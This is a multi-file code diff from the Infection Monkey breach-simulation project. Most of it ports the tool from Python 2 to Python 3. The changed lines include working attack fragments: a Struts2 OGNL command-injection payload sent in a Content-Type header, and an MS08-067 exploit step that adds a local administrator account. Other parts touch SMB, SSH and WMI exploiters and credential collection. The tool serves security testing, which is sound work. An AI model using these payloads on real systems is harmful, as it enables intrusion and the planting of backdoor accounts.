from infection_monkey.exploit.wmiexec import WmiExploiter
|
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||||
|
|
|
@ -10,7 +10,6 @@ from infection_monkey.exploit import HostExploiter
|
||||||
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
|
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
|
||||||
from infection_monkey.model import DROPPER_ARG
|
from infection_monkey.model import DROPPER_ARG
|
||||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
|
||||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||||
|
|
||||||
|
|
|
@ -216,6 +216,9 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
pattern = re.compile(r'\d*\.\d*\.\d*')
|
pattern = re.compile(r'\d*\.\d*\.\d*')
|
||||||
smb_server_name = self.host.services[SMB_SERVICE].get('name')
|
smb_server_name = self.host.services[SMB_SERVICE].get('name')
|
||||||
|
if not smb_server_name:
|
||||||
|
LOG.info("Host: %s refused SMB connection" % self.host.ip_addr)
|
||||||
|
return False
|
||||||
samba_version = "unknown"
|
samba_version = "unknown"
|
||||||
pattern_result = pattern.search(smb_server_name)
|
pattern_result = pattern.search(smb_server_name)
|
||||||
is_vulnerable = False
|
is_vulnerable = False
|
||||||
|
|
|
@ -125,8 +125,8 @@ class SmbExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
scmr_rpc.connect()
|
scmr_rpc.connect()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
LOG.warning("Error connecting to SCM on exploited machine %r: %s",
|
||||||
self.host, exc)
|
self.host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
smb_conn = rpctransport.get_smb_connection()
|
smb_conn = rpctransport.get_smb_connection()
|
||||||
|
|
|
@ -125,7 +125,7 @@ class SSHExploiter(HostExploiter):
|
||||||
if not self.host.os.get('type'):
|
if not self.host.os.get('type'):
|
||||||
try:
|
try:
|
||||||
_, stdout, _ = ssh.exec_command('uname -o')
|
_, stdout, _ = ssh.exec_command('uname -o')
|
||||||
uname_os = stdout.read().lower().strip()
|
uname_os = stdout.read().lower().strip().decode()
|
||||||
if 'linux' in uname_os:
|
if 'linux' in uname_os:
|
||||||
self.host.os['type'] = 'linux'
|
self.host.os['type'] = 'linux'
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -79,9 +79,6 @@ class Struts2Exploiter(WebRCE):
|
||||||
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
||||||
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
||||||
"(#ros.flush())}" % cmd
|
"(#ros.flush())}" % cmd
|
||||||
# Turns payload ascii just for consistency
|
|
||||||
if isinstance(payload, str):
|
|
||||||
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
|
||||||
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
||||||
try:
|
try:
|
||||||
request = urllib.request.Request(url, headers=headers)
|
request = urllib.request.Request(url, headers=headers)
|
||||||
|
@ -91,6 +88,6 @@ class Struts2Exploiter(WebRCE):
|
||||||
# If url does not exist
|
# If url does not exist
|
||||||
return False
|
return False
|
||||||
except http.client.IncompleteRead as e:
|
except http.client.IncompleteRead as e:
|
||||||
page = e.partial
|
page = e.partial.decode()
|
||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
|
@ -48,7 +48,7 @@ class WmiTools(object):
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
dcom.disconnect()
|
dcom.disconnect()
|
||||||
|
|
||||||
if "rpc_s_access_denied" == exc.message:
|
if "rpc_s_access_denied" == exc:
|
||||||
raise AccessDeniedException(host, username, password, domain)
|
raise AccessDeniedException(host, username, password, domain)
|
||||||
|
|
||||||
raise
|
raise
|
||||||
|
|
|
@ -191,11 +191,11 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
sock = exploit.start()
|
sock = exploit.start()
|
||||||
|
|
||||||
sock.send("cmd /c (net user %s %s /add) &&"
|
sock.send("cmd /c (net user {} {} /add) &&"
|
||||||
" (net localgroup administrators %s /add)\r\n" %
|
" (net localgroup administrators {} /add)\r\n".format(
|
||||||
(self._config.user_to_add,
|
self._config.user_to_add,
|
||||||
self._config.remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
self._config.user_to_add))
|
self._config.user_to_add).encode())
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
reply = sock.recv(1000)
|
reply = sock.recv(1000)
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,6 @@ import sys
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
|
||||||
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
|
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
|
||||||
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
|
@ -38,6 +38,7 @@ def main():
|
||||||
debug=False,
|
debug=False,
|
||||||
strip=get_exe_strip(),
|
strip=get_exe_strip(),
|
||||||
upx=True,
|
upx=True,
|
||||||
|
upx_exclude=['vcruntime140.dll'],
|
||||||
console=True,
|
console=True,
|
||||||
icon=get_exe_icon())
|
icon=get_exe_icon())
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from abc import ABCMeta, abstractmethod, abstractproperty
|
from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -10,7 +10,8 @@ class HostScanner(object, metaclass=ABCMeta):
|
||||||
|
|
||||||
|
|
||||||
class HostFinger(object, metaclass=ABCMeta):
|
class HostFinger(object, metaclass=ABCMeta):
|
||||||
@abstractproperty
|
@property
|
||||||
|
@abstractmethod
|
||||||
def _SCANNED_SERVICE(self):
|
def _SCANNED_SERVICE(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
|
@ -92,7 +92,7 @@ class WinAdvFirewall(FirewallApp):
|
||||||
def close(self):
|
def close(self):
|
||||||
try:
|
try:
|
||||||
for rule in list(self._rules.keys()):
|
for rule in list(self._rules.keys()):
|
||||||
self.remove_firewall_rule({'name': rule})
|
self.remove_firewall_rule(name=rule)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,3 @@
|
||||||
import sys
|
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import psutil
|
import psutil
|
||||||
|
@ -63,7 +62,7 @@ else:
|
||||||
|
|
||||||
|
|
||||||
def get_routes(): # based on scapy implementation for route parsing
|
def get_routes(): # based on scapy implementation for route parsing
|
||||||
LOOPBACK_NAME = "lo"
|
LOOPBACK_NAME = b"lo"
|
||||||
SIOCGIFADDR = 0x8915 # get PA address
|
SIOCGIFADDR = 0x8915 # get PA address
|
||||||
SIOCGIFNETMASK = 0x891b # get network PA mask
|
SIOCGIFNETMASK = 0x891b # get network PA mask
|
||||||
RTF_UP = 0x0001 # Route usable
|
RTF_UP = 0x0001 # Route usable
|
||||||
|
@ -85,7 +84,7 @@ else:
|
||||||
routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr))
|
routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr))
|
||||||
|
|
||||||
for l in f.readlines()[1:]:
|
for l in f.readlines()[1:]:
|
||||||
iff, dst, gw, flags, x, x, x, msk, x, x, x = l.split()
|
iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in l.split()]
|
||||||
flags = int(flags, 16)
|
flags = int(flags, 16)
|
||||||
if flags & RTF_UP == 0:
|
if flags & RTF_UP == 0:
|
||||||
continue
|
continue
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
import errno
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
|
@ -54,7 +55,7 @@ class MSSQLFinger(HostFinger):
|
||||||
sock.close()
|
sock.close()
|
||||||
return False
|
return False
|
||||||
except socket.error as e:
|
except socket.error as e:
|
||||||
if e.errno == socket.errno.ECONNRESET:
|
if e.errno == errno.ECONNRESET:
|
||||||
LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.'
|
LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.'
|
||||||
.format(host))
|
.format(host))
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -120,27 +120,26 @@ class SMBFinger(HostFinger):
|
||||||
n = SMBNego(data=SMBNegoFingerData())
|
n = SMBNego(data=SMBNegoFingerData())
|
||||||
n.calculate()
|
n.calculate()
|
||||||
|
|
||||||
Packet = str(h) + str(n)
|
packet_ = str(h) + str(n)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
buffer = struct.pack(">i", len(packet_)) + packet_.encode()
|
||||||
s.send(Buffer)
|
s.send(buffer)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
|
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == "\x72\x00":
|
||||||
Header = SMBHeader(cmd="\x73", flag1="\x18", flag2="\x17\xc8", uid="\x00\x00")
|
header = SMBHeader(cmd="\x73", flag1="\x18", flag2="\x17\xc8", uid="\x00\x00")
|
||||||
Body = SMBSessionFingerData()
|
body = SMBSessionFingerData()
|
||||||
Body.calculate()
|
body.calculate()
|
||||||
|
|
||||||
Packet = str(Header) + str(Body)
|
packet_ = str(header) + str(body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
buffer = struct.pack(">i", len(packet_)) + packet_.encode()
|
||||||
|
|
||||||
s.send(Buffer)
|
s.send(buffer)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
|
|
||||||
if data[8:10] == "\x73\x16":
|
if data[8:10] == "\x73\x16":
|
||||||
length = struct.unpack('<H', data[43:45])[0]
|
length = struct.unpack('<H', data[43:45])[0]
|
||||||
pack = tuple(data[47 + length:].split('\x00\x00\x00'))[:2]
|
|
||||||
os_version, service_client = tuple(
|
os_version, service_client = tuple(
|
||||||
[e.replace('\x00', '') for e in data[47 + length:].split('\x00\x00\x00')[:2]])
|
[e.replace(b'\x00', b'') for e in data[47 + length:].split(b'\x00\x00\x00')[:2]])
|
||||||
|
|
||||||
if os_version.lower() != 'unix':
|
if os_version.lower() != 'unix':
|
||||||
host.os['type'] = 'windows'
|
host.os['type'] = 'windows'
|
||||||
|
|
|
@ -7,8 +7,6 @@ import struct
|
||||||
import time
|
import time
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from six.moves import range
|
|
||||||
|
|
||||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||||
from infection_monkey.utils.environment import is_64bit_python
|
from infection_monkey.utils.environment import is_64bit_python
|
||||||
|
|
||||||
|
@ -73,7 +71,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||||
if get_banner:
|
if get_banner:
|
||||||
read_ready, _, _ = select.select([sock], [], [], timeout)
|
read_ready, _, _ = select.select([sock], [], [], timeout)
|
||||||
if len(read_ready) > 0:
|
if len(read_ready) > 0:
|
||||||
banner = sock.recv(BANNER_READ)
|
banner = sock.recv(BANNER_READ).decode()
|
||||||
except socket.error:
|
except socket.error:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -96,7 +94,7 @@ def check_udp_port(ip, port, timeout=DEFAULT_TIMEOUT):
|
||||||
is_open = False
|
is_open = False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.sendto("-", (ip, port))
|
sock.sendto(b"-", (ip, port))
|
||||||
data, _ = sock.recvfrom(BANNER_READ)
|
data, _ = sock.recvfrom(BANNER_READ)
|
||||||
is_open = True
|
is_open = True
|
||||||
except socket.error:
|
except socket.error:
|
||||||
|
@ -116,7 +114,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||||
:return: list of open ports. If get_banner=True, then a matching list of banners.
|
:return: list of open ports. If get_banner=True, then a matching list of banners.
|
||||||
"""
|
"""
|
||||||
sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))]
|
sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))]
|
||||||
[s.setblocking(0) for s in sockets]
|
[s.setblocking(False) for s in sockets]
|
||||||
possible_ports = []
|
possible_ports = []
|
||||||
connected_ports_sockets = []
|
connected_ports_sockets = []
|
||||||
try:
|
try:
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
import logging
|
import logging
|
||||||
import os
|
|
||||||
import random
|
import random
|
||||||
import string
|
import string
|
||||||
import subprocess
|
import subprocess
|
||||||
|
@ -39,7 +38,7 @@ class CommunicateAsNewUser(PBA):
|
||||||
exit_status = new_user.run_as(ping_commandline)
|
exit_status = new_user.run_as(ping_commandline)
|
||||||
self.send_ping_result_telemetry(exit_status, ping_commandline, username)
|
self.send_ping_result_telemetry(exit_status, ping_commandline, username)
|
||||||
except subprocess.CalledProcessError as e:
|
except subprocess.CalledProcessError as e:
|
||||||
PostBreachTelem(self, (e.output, False)).send()
|
PostBreachTelem(self, (e.output.decode(), False)).send()
|
||||||
except NewUserError as e:
|
except NewUserError as e:
|
||||||
PostBreachTelem(self, (str(e), False)).send()
|
PostBreachTelem(self, (str(e), False)).send()
|
||||||
|
|
||||||
|
|
|
@ -14,6 +14,7 @@ __author__ = 'VakarisZ'
|
||||||
|
|
||||||
EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
|
EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)"
|
||||||
|
|
||||||
|
|
||||||
class PBA(object):
|
class PBA(object):
|
||||||
"""
|
"""
|
||||||
Post breach action object. Can be extended to support more than command execution on target machine.
|
Post breach action object. Can be extended to support more than command execution on target machine.
|
||||||
|
@ -75,13 +76,13 @@ class PBA(object):
|
||||||
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
:return: Tuple of command's output string and boolean, indicating if it succeeded
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True)
|
output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True).decode()
|
||||||
if not output:
|
if not output:
|
||||||
output = EXECUTION_WITHOUT_OUTPUT
|
output = EXECUTION_WITHOUT_OUTPUT
|
||||||
return output, True
|
return output, True
|
||||||
except subprocess.CalledProcessError as e:
|
except subprocess.CalledProcessError as e:
|
||||||
# Return error output of the command
|
# Return error output of the command
|
||||||
return e.output, False
|
return e.output.decode(), False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def choose_command(linux_cmd, windows_cmd):
|
def choose_command(linux_cmd, windows_cmd):
|
||||||
|
|
|
@ -7,7 +7,6 @@ odict
|
||||||
paramiko
|
paramiko
|
||||||
psutil==3.4.2
|
psutil==3.4.2
|
||||||
PyInstaller
|
PyInstaller
|
||||||
six
|
|
||||||
ecdsa
|
ecdsa
|
||||||
netifaces
|
netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
|
|
|
@ -7,7 +7,6 @@ odict
|
||||||
paramiko
|
paramiko
|
||||||
psutil
|
psutil
|
||||||
PyInstaller
|
PyInstaller
|
||||||
six
|
|
||||||
ecdsa
|
ecdsa
|
||||||
netifaces
|
netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
|
|
|
@ -16,7 +16,7 @@ LOG = logging.getLogger(__name__)
|
||||||
try:
|
try:
|
||||||
WindowsError
|
WindowsError
|
||||||
except NameError:
|
except NameError:
|
||||||
WindowsError = None
|
WindowsError = psutil.AccessDenied
|
||||||
|
|
||||||
__author__ = 'uri'
|
__author__ = 'uri'
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
import sys
|
import sys
|
||||||
|
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||||
|
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
||||||
|
@ -8,9 +9,6 @@ from infection_monkey.system_info import InfoCollector
|
||||||
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
||||||
from common.utils.wmi_utils import WMIUtils
|
from common.utils.wmi_utils import WMIUtils
|
||||||
|
|
||||||
|
|
||||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
LOG.info('started windows info collector')
|
LOG.info('started windows info collector')
|
||||||
|
|
||||||
|
|
|
@ -25,7 +25,8 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
|
||||||
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
|
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
|
||||||
ControlClient.send_telemetry(self.telem_category, data)
|
ControlClient.send_telemetry(self.telem_category, data)
|
||||||
|
|
||||||
@abc.abstractproperty
|
@property
|
||||||
|
@abc.abstractmethod
|
||||||
def telem_category(self):
|
def telem_category(self):
|
||||||
"""
|
"""
|
||||||
:return: Telemetry type
|
:return: Telemetry type
|
||||||
|
|
|
@ -48,7 +48,7 @@ def _check_tunnel(address, port, existing_sock=None):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.sendto("+", (address, MCAST_PORT))
|
sock.sendto(b"+", (address, MCAST_PORT))
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Caught exception in tunnel registration: %s", exc)
|
LOG.debug("Caught exception in tunnel registration: %s", exc)
|
||||||
|
|
||||||
|
@ -71,13 +71,13 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||||
try:
|
try:
|
||||||
LOG.info("Trying to find using adapter %s", adapter)
|
LOG.info("Trying to find using adapter %s", adapter)
|
||||||
sock = _set_multicast_socket(timeout, adapter)
|
sock = _set_multicast_socket(timeout, adapter)
|
||||||
sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
|
sock.sendto(b"?", (MCAST_GROUP, MCAST_PORT))
|
||||||
tunnels = []
|
tunnels = []
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
answer, address = sock.recvfrom(BUFFER_READ)
|
answer, address = sock.recvfrom(BUFFER_READ)
|
||||||
if answer not in ['?', '+', '-']:
|
if answer not in [b'?', b'+', b'-']:
|
||||||
tunnels.append(answer)
|
tunnels.append(answer)
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
break
|
break
|
||||||
|
@ -102,7 +102,7 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
|
||||||
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
|
||||||
try:
|
try:
|
||||||
sock = _set_multicast_socket(timeout)
|
sock = _set_multicast_socket(timeout)
|
||||||
sock.sendto("-", (address, MCAST_PORT))
|
sock.sendto(b"-", (address, MCAST_PORT))
|
||||||
sock.close()
|
sock.close()
|
||||||
LOG.debug("Success quitting tunnel")
|
LOG.debug("Success quitting tunnel")
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
|
@ -147,17 +147,17 @@ class MonkeyTunnel(Thread):
|
||||||
while not self._stopped:
|
while not self._stopped:
|
||||||
try:
|
try:
|
||||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
if '?' == search:
|
if b'?' == search:
|
||||||
ip_match = get_interface_to_target(address[0])
|
ip_match = get_interface_to_target(address[0])
|
||||||
if ip_match:
|
if ip_match:
|
||||||
answer = '%s:%d' % (ip_match, self.local_port)
|
answer = '%s:%d' % (ip_match, self.local_port)
|
||||||
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||||
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT))
|
||||||
elif '+' == search:
|
elif b'+' == search:
|
||||||
if not address[0] in self._clients:
|
if not address[0] in self._clients:
|
||||||
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
|
LOG.debug("Tunnel control: Added %s to watchlist", address[0])
|
||||||
self._clients.append(address[0])
|
self._clients.append(address[0])
|
||||||
elif '-' == search:
|
elif b'-' == search:
|
||||||
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||||
self._clients = [client for client in self._clients if client != address[0]]
|
self._clients = [client for client in self._clients if client != address[0]]
|
||||||
|
|
||||||
|
@ -170,7 +170,7 @@ class MonkeyTunnel(Thread):
|
||||||
while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT):
|
while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT):
|
||||||
try:
|
try:
|
||||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
if '-' == search:
|
if b'-' == search:
|
||||||
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
LOG.debug("Tunnel control: Removed %s from watchlist", address[0])
|
||||||
self._clients = [client for client in self._clients if client != address[0]]
|
self._clients = [client for client in self._clients if client != address[0]]
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
|
|
|
@ -47,6 +47,11 @@ class Monkey(Document):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def __ring_key__():
|
def __ring_key__():
|
||||||
|
"""
|
||||||
|
Cache key representation
|
||||||
|
https://ring-cache.readthedocs.io/en/stable/quickstart.html#method-classmethod-staticmethod-property
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
return Monkey.guid
|
return Monkey.guid
|
||||||
|
|
||||||
# LOGIC
|
# LOGIC
|
||||||
|
|
|
@ -34,10 +34,10 @@ class RemoteRun(flask_restful.Resource):
|
||||||
try:
|
try:
|
||||||
resp['instances'] = AwsService.get_instances()
|
resp['instances'] = AwsService.get_instances()
|
||||||
except NoCredentialsError as e:
|
except NoCredentialsError as e:
|
||||||
resp['error'] = NO_CREDS_ERROR_FORMAT.format(e.message)
|
resp['error'] = NO_CREDS_ERROR_FORMAT.format(e)
|
||||||
return jsonify(resp)
|
return jsonify(resp)
|
||||||
except ClientError as e:
|
except ClientError as e:
|
||||||
resp['error'] = CLIENT_ERROR_FORMAT.format(e.message)
|
resp['error'] = CLIENT_ERROR_FORMAT.format(e)
|
||||||
return jsonify(resp)
|
return jsonify(resp)
|
||||||
return jsonify(resp)
|
return jsonify(resp)
|
||||||
|
|
||||||
|
|
|
@ -29,7 +29,8 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
try:
|
try:
|
||||||
return \
|
return \
|
||||||
{
|
{
|
||||||
'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries if TelemetryFeed],
|
'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries
|
||||||
|
if TelemetryFeed.should_show_brief(telem)],
|
||||||
'timestamp': datetime.now().isoformat()
|
'timestamp': datetime.now().isoformat()
|
||||||
}
|
}
|
||||||
except KeyError as err:
|
except KeyError as err:
|
||||||
|
|
|
@ -12,28 +12,32 @@ logger = logging.getLogger(__name__)
|
||||||
class AttackTechnique(object, metaclass=abc.ABCMeta):
|
class AttackTechnique(object, metaclass=abc.ABCMeta):
|
||||||
""" Abstract class for ATT&CK report components """
|
""" Abstract class for ATT&CK report components """
|
||||||
|
|
||||||
@abc.abstractproperty
|
@property
|
||||||
|
@abc.abstractmethod
|
||||||
def unscanned_msg(self):
|
def unscanned_msg(self):
|
||||||
"""
|
"""
|
||||||
:return: Message that will be displayed in case attack technique was not scanned.
|
:return: Message that will be displayed in case attack technique was not scanned.
|
||||||
"""
|
"""
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@abc.abstractproperty
|
@property
|
||||||
|
@abc.abstractmethod
|
||||||
def scanned_msg(self):
|
def scanned_msg(self):
|
||||||
"""
|
"""
|
||||||
:return: Message that will be displayed in case attack technique was scanned.
|
:return: Message that will be displayed in case attack technique was scanned.
|
||||||
"""
|
"""
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@abc.abstractproperty
|
@property
|
||||||
|
@abc.abstractmethod
|
||||||
def used_msg(self):
|
def used_msg(self):
|
||||||
"""
|
"""
|
||||||
:return: Message that will be displayed in case attack technique was used by the scanner.
|
:return: Message that will be displayed in case attack technique was used by the scanner.
|
||||||
"""
|
"""
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@abc.abstractproperty
|
@property
|
||||||
|
@abc.abstractmethod
|
||||||
def tech_id(self):
|
def tech_id(self):
|
||||||
"""
|
"""
|
||||||
:return: Message that will be displayed in case of attack technique not being scanned.
|
:return: Message that will be displayed in case of attack technique not being scanned.
|
||||||
|
|
|
@ -3,7 +3,6 @@ import collections
|
||||||
import functools
|
import functools
|
||||||
import logging
|
import logging
|
||||||
from jsonschema import Draft4Validator, validators
|
from jsonschema import Draft4Validator, validators
|
||||||
from six import string_types
|
|
||||||
import monkey_island.cc.services.post_breach_files
|
import monkey_island.cc.services.post_breach_files
|
||||||
|
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
|
@ -236,7 +235,7 @@ class ConfigService:
|
||||||
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
||||||
|
|
||||||
for key in keys:
|
for key in keys:
|
||||||
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
|
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], str):
|
||||||
# Check if we are decrypting ssh key pair
|
# Check if we are decrypting ssh key pair
|
||||||
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
|
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
|
||||||
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
|
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
|
||||||
|
@ -257,7 +256,7 @@ class ConfigService:
|
||||||
parent_config_arr = config_arr
|
parent_config_arr = config_arr
|
||||||
config_arr = config_arr[config_key_part]
|
config_arr = config_arr[config_key_part]
|
||||||
|
|
||||||
if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, string_types):
|
if isinstance(config_arr, collections.Sequence) and not isinstance(config_arr, str):
|
||||||
for i in range(len(config_arr)):
|
for i in range(len(config_arr)):
|
||||||
# Check if array of shh key pairs and then decrypt
|
# Check if array of shh key pairs and then decrypt
|
||||||
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
|
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
WARNING_SIGN = " \\u26A0"
|
WARNING_SIGN = " \u26A0"
|
||||||
|
|
||||||
SCHEMA = {
|
SCHEMA = {
|
||||||
"title": "Monkey",
|
"title": "Monkey",
|
||||||
|
@ -753,7 +753,8 @@ SCHEMA = {
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter"
|
"VSFTPDExploiter",
|
||||||
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
@ -899,7 +900,8 @@ SCHEMA = {
|
||||||
8008,
|
8008,
|
||||||
3306,
|
3306,
|
||||||
9200,
|
9200,
|
||||||
7001
|
7001,
|
||||||
|
8088
|
||||||
],
|
],
|
||||||
"description": "List of TCP ports the monkey will check whether they're open"
|
"description": "List of TCP ports the monkey will check whether they're open"
|
||||||
},
|
},
|
||||||
|
|
|
